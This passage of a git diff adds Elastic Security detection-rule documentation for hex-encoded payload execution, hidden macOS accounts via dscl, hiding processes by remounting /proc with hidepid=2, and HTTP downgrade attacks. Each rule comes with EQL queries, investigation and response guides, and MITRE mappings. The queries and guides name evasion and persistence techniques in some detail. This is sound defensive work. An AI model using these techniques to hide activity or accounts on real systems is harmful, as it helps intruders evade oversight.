Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hex Payload Execution via Command-Line* + + +In Linux environments, command-line interfaces are pivotal for executing processes and scripts. Adversaries exploit this by embedding payloads in hexadecimal format to obfuscate their actions, evading detection. The detection rule identifies processes with lengthy command lines containing multiple hex patterns, signaling potential obfuscation. This approach targets defense evasion tactics, leveraging Elastic Defend to flag suspicious executions. + + +*Possible investigation steps* + + +- Review the process.command_line field to identify the specific hexadecimal patterns and assess if they correspond to known malicious payloads or commands. +- Examine the process.parent.executable to determine the parent process that initiated the execution, which may provide context on whether the execution is expected or suspicious. +- Check the user account associated with the process execution to verify if the activity aligns with typical user behavior or if it indicates potential compromise. +- Investigate the host where the alert was triggered to identify any other related suspicious activities or anomalies that might indicate a broader compromise. +- Correlate the event with other logs or alerts from the same host or user to identify patterns or repeated attempts at obfuscation and execution. + + +*False positive analysis* + + +- Legitimate software installations or updates may use hexadecimal encoding in command lines for legitimate purposes. Users can create exceptions for known software update processes by identifying their parent executable paths and excluding them from the rule. +- System administration scripts or tools that utilize hexadecimal encoding for configuration or data processing might trigger the rule. Review and whitelist these scripts by verifying their source and purpose, then exclude them based on their command line patterns or parent processes. +- Security tools or monitoring software that perform regular scans or data collection using hexadecimal encoding could be flagged. Confirm these tools' legitimacy and add them to an exception list by specifying their executable paths or command line characteristics. +- Custom applications developed in-house that use hexadecimal encoding for data handling or communication may be mistakenly identified. Document these applications and exclude them by their unique command line signatures or parent process identifiers. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as modified files or unauthorized user accounts. +- Remove any identified malicious files or scripts from the system to ensure the threat is eradicated. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +?process.parent.executable != null and +process.command_line : "*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*" and +length(process.command_line) > 50 and +not process.name in ("snap", "printf", "sed") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-common-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-common-utility.asciidoc new file mode 100644 index 0000000000..2f7a8e469e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-common-utility.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-34-potential-hex-payload-execution-via-common-utility]] +=== Potential Hex Payload Execution via Common Utility + +This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Potential Hex Payload Execution via Common Utility* + + +Hex encoding is often used in Linux environments to obfuscate data, making it harder for security tools to detect malicious payloads. Adversaries exploit this by encoding their payloads in hex to bypass security measures. The detection rule identifies suspicious processes like `xxd`, `python`, `php`, and others that use hex-related functions, signaling potential obfuscation attempts. By monitoring these patterns, the rule helps uncover hidden threats. + + +*Possible investigation steps* + + +- Review the process details, including the process name and command line arguments, to confirm if the execution aligns with typical hex decoding or encoding activities. +- Check the parent process of the suspicious process to understand the context of how the process was initiated and whether it was expected or part of a legitimate workflow. +- Investigate the user account associated with the process execution to determine if the activity is consistent with the user's normal behavior or if the account may have been compromised. +- Examine the network activity associated with the process to identify any potential data exfiltration or communication with known malicious IP addresses. +- Look for any related file modifications or creations around the time of the process execution to identify if the decoded payload was written to disk or executed further. +- Cross-reference the alert with other security tools or logs, such as Crowdstrike or SentinelOne, to gather additional context or corroborating evidence of malicious activity. + + +*False positive analysis* + + +- Development and testing environments may frequently use hex encoding functions for legitimate purposes. To reduce noise, consider excluding processes running on known development servers from the rule. +- System administrators might use hex encoding tools like `xxd` for data conversion tasks. Identify and whitelist these routine administrative scripts to prevent false alerts. +- Automated scripts or applications that process data in hex format for encoding or decoding purposes can trigger this rule. Review and exclude these scripts if they are verified as non-malicious. +- Security tools or monitoring solutions themselves might use hex encoding for data analysis. Ensure these tools are recognized and excluded from triggering the rule. +- Regularly review and update the exclusion list to adapt to changes in the environment and ensure that only verified non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious payloads. +- Terminate any suspicious processes identified by the detection rule, such as those involving `xxd`, `python`, `php`, `ruby`, `perl`, or `lua` with hex-related functions. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or remnants. +- Review and analyze system logs and process execution history to determine the scope of the compromise and identify any additional affected systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar obfuscation attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name == "xxd" and process.args like ("-r*", "-p*")) or + (process.name like "python*" and process.command_line like "*fromhex*" and process.command_line like ("*decode*", "*encode*")) or + (process.name like "php*" and process.command_line like "*hex2bin*") or + (process.name like "ruby*" and process.command_line like "*].pack(\"H*\")*") or + (process.name like "perl*" and process.command_line like "*pack(\"H*\",*") or + (process.name like "lua*" and process.command_line like "*tonumber(cc, 16)*") +) and +not ( + // Vulnerability scanning tools scanning for xz-backdoor + process.command_line like ("*liblzma*", "*xz*") or + ?process.parent.args like ( + "/srv/acme/acme.sh", "/home/*/.acme.sh/acme.sh", "/opt/custom-nagios-plugins/check_rad_eap", + "/usr/bin/testssl", "./testssl.sh", "/root/.acme.sh/acme.sh" + ) or + ?process.parent.args like "printf*" or + ?process.working_directory in ( + "/home/prtg-ssh", + "/home/svc-acas-lnx", + "/tmp/newroot/home/svc-acas-lnx", + "/var/prtg/scriptsxml" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-local-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-local-user-account-creation.asciidoc new file mode 100644 index 0000000000..4e006fa810 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-local-user-account-creation.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-potential-hidden-local-user-account-creation]] +=== Potential Hidden Local User Account Creation + +Identifies attempts to create a local account that will be hidden from the macOS logon window. This may indicate an attempt to evade user attention while maintaining persistence using a separate local account. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.apple.com/en-us/HT203998 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hidden Local User Account Creation* + + +In macOS environments, the `dscl` command-line utility manages directory services, including user accounts. Adversaries may exploit this to create hidden local accounts, evading detection while maintaining persistence. The detection rule monitors for `dscl` processes attempting to set accounts as hidden, flagging suspicious activity indicative of potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the `dscl` command with arguments related to account creation and hiding, specifically checking for `IsHidden`, `create`, and values like `true`, `1`, or `yes`. +- Identify the user account under which the `dscl` command was executed to determine if it was initiated by an authorized user or a potential adversary. +- Check the system logs for any additional suspicious activity around the time the `dscl` command was executed, such as other unauthorized account modifications or unusual login attempts. +- Investigate the newly created account details, if available, to assess its purpose and legitimacy, including checking for any associated files or processes that might indicate malicious intent. +- Correlate the event with other security alerts or anomalies on the host to determine if this activity is part of a broader attack pattern or isolated incident. + + +*False positive analysis* + + +- System administrators may use the dscl command to create hidden accounts for legitimate purposes such as maintenance or automated tasks. To manage this, create exceptions for known administrator accounts or scripts that regularly perform these actions. +- Some third-party applications or management tools might use hidden accounts for functionality or security purposes. Identify these applications and whitelist their processes to prevent unnecessary alerts. +- During system setup or configuration, hidden accounts might be created as part of the initial setup process. Exclude these initial setup activities by correlating them with known installation or configuration events. +- Regular audits of user accounts and their creation processes can help distinguish between legitimate and suspicious account creation activities, allowing for more informed exception handling. +- If a specific user or group frequently triggers this rule due to their role, consider creating a role-based exception to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Use administrative privileges to review and remove any unauthorized hidden user accounts created using the `dscl` command. Ensure that legitimate accounts are not affected. +- Change passwords for all local accounts on the affected system to prevent unauthorized access using potentially compromised credentials. +- Conduct a thorough review of system logs and security alerts to identify any additional suspicious activities or indicators of compromise related to the hidden account creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring for `dscl` command usage across all macOS systems in the environment to detect and respond to similar threats promptly. +- Update and reinforce endpoint security measures, such as ensuring all systems have the latest security patches and antivirus definitions, to prevent exploitation of known vulnerabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "dscl" and process.args like~ "IsHidden" and process.args like~ "create" and + process.args like~ ("true", "1", "yes") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-process-via-mount-hidepid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-process-via-mount-hidepid.asciidoc new file mode 100644 index 0000000000..94ba5c05ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hidden-process-via-mount-hidepid.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-potential-hidden-process-via-mount-hidepid]] +=== Potential Hidden Process via Mount Hidepid + +Identifies the execution of mount process with hidepid parameter, which can make processes invisible to other users from the system. Adversaries using Linux kernel version 3.2+ (or RHEL/CentOS v6.5+ above) can hide the process from other users. When hidepid=2 option is executed to mount the /proc filesystem, only the root user can see all processes and the logged-in user can only see their own process. This provides a defense evasion mechanism for the adversaries to hide their process executions from all other commands such as ps, top, pgrep and more. With the Linux kernel hardening hidepid option all the user has to do is remount the /proc filesystem with the option, which can now be monitored and detected. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hidden Process via Mount Hidepid* + + +The 'hidepid' mount option in Linux allows users to restrict visibility of process information in the /proc filesystem, enhancing privacy by limiting process visibility to the owner. Adversaries exploit this by remounting /proc with 'hidepid=2', concealing their processes from non-root users and evading detection tools like ps or top. The detection rule identifies such activity by monitoring for the execution of the mount command with specific arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the 'mount' process execution with arguments indicating '/proc' and 'hidepid=2'. +- Check the user account associated with the process execution to determine if it is a legitimate administrative user or a potential adversary. +- Investigate the parent process of the 'mount' command to understand the context and origin of the execution, ensuring it is not part of a known or legitimate administrative script. +- Examine recent login activity and user sessions on the host to identify any unauthorized access or suspicious behavior around the time of the alert. +- Analyze other processes running on the system to identify any hidden or suspicious activities that might be related to the use of 'hidepid=2'. +- Review system logs and audit logs for any additional indicators of compromise or related suspicious activities that coincide with the alert. + + +*False positive analysis* + + +- System administrators or automated scripts may remount /proc with hidepid=2 for legitimate privacy or security reasons. To handle this, create exceptions for known administrative scripts or users by excluding their specific command lines or user IDs. +- Some security tools or monitoring solutions might use hidepid=2 as part of their normal operation to enhance system security. Identify these tools and exclude their processes from triggering alerts by adding them to an allowlist. +- Cloud environments or containerized applications might use hidepid=2 to isolate processes for multi-tenant security. Review the environment's standard operating procedures and exclude these known behaviors from detection. +- Regular system updates or maintenance scripts might temporarily use hidepid=2. Document these occurrences and adjust the detection rule to ignore these specific maintenance windows or scripts. +- If using a specific Linux distribution that employs hidepid=2 by default for certain operations, verify these defaults and configure the detection rule to exclude them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Use root privileges to remount the /proc filesystem without the 'hidepid=2' option to restore visibility of all processes. +- Conduct a thorough review of running processes and system logs to identify any unauthorized or suspicious activities that may have been concealed. +- Terminate any identified malicious processes and remove any associated files or scripts from the system. +- Change all system and user passwords to prevent unauthorized access, especially if credential theft is suspected. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future attempts to use the 'hidepid' option, ensuring rapid detection and response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started") and +process.name == "mount" and process.args == "/proc" and process.args == "-o" and process.args : "*hidepid=2*" and +not process.parent.command_line like "/opt/cloudlinux/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-http-downgrade-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-http-downgrade-attack.asciidoc new file mode 100644 index 0000000000..1628039ae7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-http-downgrade-attack.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-potential-http-downgrade-attack]] +=== Potential HTTP Downgrade Attack + +Through the new_terms rule type, this rule detects potential HTTP downgrade attacks by identifying HTTP traffic that uses a different HTTP version than the one typically used in the environment. An HTTP downgrade attack occurs when an attacker forces a connection via an older HTTP version, resulting in potentially less secure communication. For example, an attacker might downgrade a connection from HTTP/2 to HTTP/1.1 or HTTP/1.0 to exploit known vulnerabilities or weaknesses in the older protocol versions. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-nginx.access-* +* logs-apache.access-* +* logs-apache_tomcat.access-* +* logs-traefik.access-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: Traefik +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Web Application Attack +* Rule Type: New Terms +* Service: Nginx +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential HTTP Downgrade Attack* + + +This detection surfaces HTTP traffic negotiating a protocol version that deviates from your baseline, a sign of downgrade attempts that strip protections and enable evasion or exploit paths in older behaviors. An attacker deliberately breaks HTTP/2 negotiation so the server falls back to HTTP/1.1, then probes with crafted headers and chunked bodies to attempt request smuggling or cache bypass against web services. + + +*Possible investigation steps* + + +- Correlate with TLS termination or load balancer logs to verify ALPN or Upgrade negotiation (server advertising h2) and whether the same client/IP previously used h2 with the same SNI/Host, distinguishing forced downgrade from capability mismatch. +- Review the downgraded requests for exploitation indicators such as simultaneous Content-Length and Transfer-Encoding headers, duplicated or mixed-case headers, unusual methods (TRACE or PRI), or inconsistent chunked encoding suggesting smuggling attempts. +- Examine surrounding response patterns for increased 400/421/426/431/505, backend 5xx, connection resets, or latency spikes that coincide with these requests and indicate error-driven fallback or probing. +- Check for recent config changes or incidents on CDNs/WAFs/load balancers and web servers (e.g., http2 enablement, ALPN lists, h2/h2c settings) that could have disabled HTTP/2 and caused benign fallbacks. +- Cluster events by source IP/User-Agent/ASN and targeted host to identify campaign activity across services and pivot the sources through threat intelligence or reputation feeds. + + +*False positive analysis* + + +- Recent Nginx/Apache/Tomcat configuration changes that disable HTTP/2/h2c or alter TLS/ALPN on specific virtual hosts can legitimately force clients to fall back to HTTP/1.1, surfacing as a downgrade event in access logs. +- Newly onboarded internal services or scripts that only support HTTP/1.0/1.1 and begin hitting an endpoint for the first time can introduce a first-seen older http.version relative to an HTTP/2 baseline without malicious intent. + + +*Response and remediation* + + +- Immediately block or challenge source IPs/ASNs repeatedly forcing HTTP/1.1 to hosts that previously negotiated HTTP/2 via ALPN, and enable WAF rules to drop “Upgrade: h2c” attempts, requests with both Content-Length and Transfer-Encoding, or duplicated/mixed-case headers. +- Remove downgrade paths by requiring TLS+ALPN “h2” on 443 (e.g., Nginx listen 443 ssl http2; Apache Protocols h2 http/1.1), disabling cleartext h2c and HTTP/1.0 on public endpoints, and ensuring intermediaries do not strip ALPN or rewrite headers. +- Redeploy corrected configs and validate end-to-end HTTP/2 with curl --http2 and browser devtools, then confirm normal 